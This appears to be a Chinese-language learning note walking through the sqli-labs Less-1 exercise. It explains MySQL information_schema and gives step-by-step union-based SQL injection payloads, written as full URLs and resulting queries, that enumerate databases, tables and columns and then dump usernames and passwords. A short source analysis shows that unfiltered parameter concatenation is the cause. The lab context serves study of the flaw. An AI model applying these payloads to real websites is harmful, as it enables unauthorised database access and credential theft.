注入步骤
一个数据库当中有很多的数据表,数据表当中有
很多的列,每一列当中存储着数据。我们注入的过程就是先拿到数据库名,在获取到当前数
据库名下的数据表,再获取当前数据表下的列,最后获取数据。
1:order by 猜测字段个数
2:爆显示位
根据获取到的字段数来爆显示位//(注意使用联合查询时让前面的查询为假)
例 union select 1,2,3…
3查询数据库版本和当前数据库
union联合查询(根据爆出的显示位在相应位置查询数据库版本和当前数据库)
之后利用information_schema数据库爆相关信息
4:爆表
select table_name from information_schema.tables where table_schema=’xxxxx’
根据爆出的数据库,爆出数据库下所有的表
例如:
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security‘–+
5:爆列
Select column_name from information_schema.columns where table_name=’xxxxx’
根据爆出的表爆出所有列
例如:
Select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’
6:爆数据
获取某列的内容 Select *** from ***
例如
union select 1,group_concat(username),group_concat(password) from users–+
information_schema
Mysql 有一个系统数据库
information_schema,存储着所有的数据库的相关信息,一般的, 我们利用该表可以进行一次完整的注入。以下为一般的流程。
猜数据库 select schema_name from information_schema.schemata
猜某库的数据表
select table_name from information_schema.tables where table_schema=’xxxxx’
猜某表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’
获取某列的内容
Select *** from ***
less-1
一开始用随便写了个 id=1,竟然就可以了。说明连验证密码都没有。
接着用order by语句测试
information_schema数据库
对于mysql和Infobright等数据库,information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
information_schema.tables存储了数据表的元数据信息,下面对常用的字段进行介绍:
• table_schema: 记录数据库名;
• table_name: 记录数据表名;
• engine : 存储引擎;
• table_rows: 关于表的粗略行估计;
• data_length : 记录表的大小(单位字节);
• index_length : 记录表的索引的大小;
• row_format: 可以查看数据表是否压缩过;
information_schema.tables信息;
- use information_schema;
- show create table tables;
- desc tables;
获取数据库和数据表信息
select TABLE_SCHEMA ,table_name from tables where table_schema like ‘mydatabase’;
Order by
在sql注入的作用:猜测字段数的作用
后面直接添加一个 ‘,来看一下效果:从上述错误当中,我们可以看到提交到 sql 中的 1’在经过 sql 语句构造后形成 ‘1’’ LIMIT 0,1, 多加了一个 ’。这种方式就是从错误信息中得到我们所需要的信息,
此处可以利用 order by。Order by对前面的数据进行排序,这里有三列数据,我们就只能用 order by 3,超过 3 就会报错。 ‘order by 4–+的结果显示结果超出。
从源代码中分析下为什么会造成注入? Sql 语句为$sql=”SELECT FROM users WHERE id=’$id’ LIMIT 0,1”; Id 参数在拼接 sql 语句时,未对 id 进行任何的过滤等操作,所以当提交 ‘or 1=1–+,直接构 造的 sql 语句就是 SELECT FROM users WHERE id=’1’or 1=1–+ LIMIT 0,1 这条语句因 or 1=1 所以为永恒真。
union 联合注入
此处介绍 union 联合注入,union 的作用是将两个 sql 语句进行联合。Union 可以从 下面的例子中可以看出,强调一点:union 前后的两个 sql 语句的选择列数要相同才可以。U nion all 与 union 的区别是增加了去重的功能。
当 id 的数据在数据库中不存在时,(此时我们可以 id=-1,两个 sql 语句进行联合操作时, 当前一个语句选择的内容为空,我们这里就将后面的语句的内容显示出来)此处前台页面返 回了我们构造的 union 的数据
爆数据库
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(schema_name),3% 20from%20information_schema.schemata–+
此时的 sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(schema _name),3 from information_schema.schemata–+ LIMIT 0,1
爆 security 数据库的数据表
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(table_name),3%20f rom%20information_schema.tables%20where%20table_schema=%27security%27–+
此时的 sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(table_n ame),3 from information_schema.tables where table_schema=’security’–+ LIMIT 0,1
爆 users 表的列
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,group_concat(column_name),3%2 0from%20information_schema.columns%20where%20table_name=%27users%27–+
此时的 sql 语句为
SELECT * FROM users WHERE id=’-1’union select 1,group_concat(column _name),3 from information_schema.columns where table_name=’users’–+ LIMIT 0,1
爆数据
http://127.0.0.1/sqllib/Less-1/?id=-1%27union%20select%201,username,password%20from%20 users%20where%20id=2–+
此时的 sql 语句为 SELECT * FROM users WHERE id=’-1’union select 1,username,password f rom users where id=2–+ LIMIT 0,1
此处我们选择表名和库名
?id=%27union%20select%20table_name,table_schema,20%20from%20information_schema.tables–+
发现调换顺序之后,显示的值不一样
?id=%27union%20select%2020,table_name,table_schema%20from%20information_schema.tables–+
进一步讨论原因,打开php文件探究:
修改PHP文件代码发现$row 是一个有六个元素的数组,其中id是第一个值,后面两个分别是username和passsword。他输出的是后面两个即username和passsword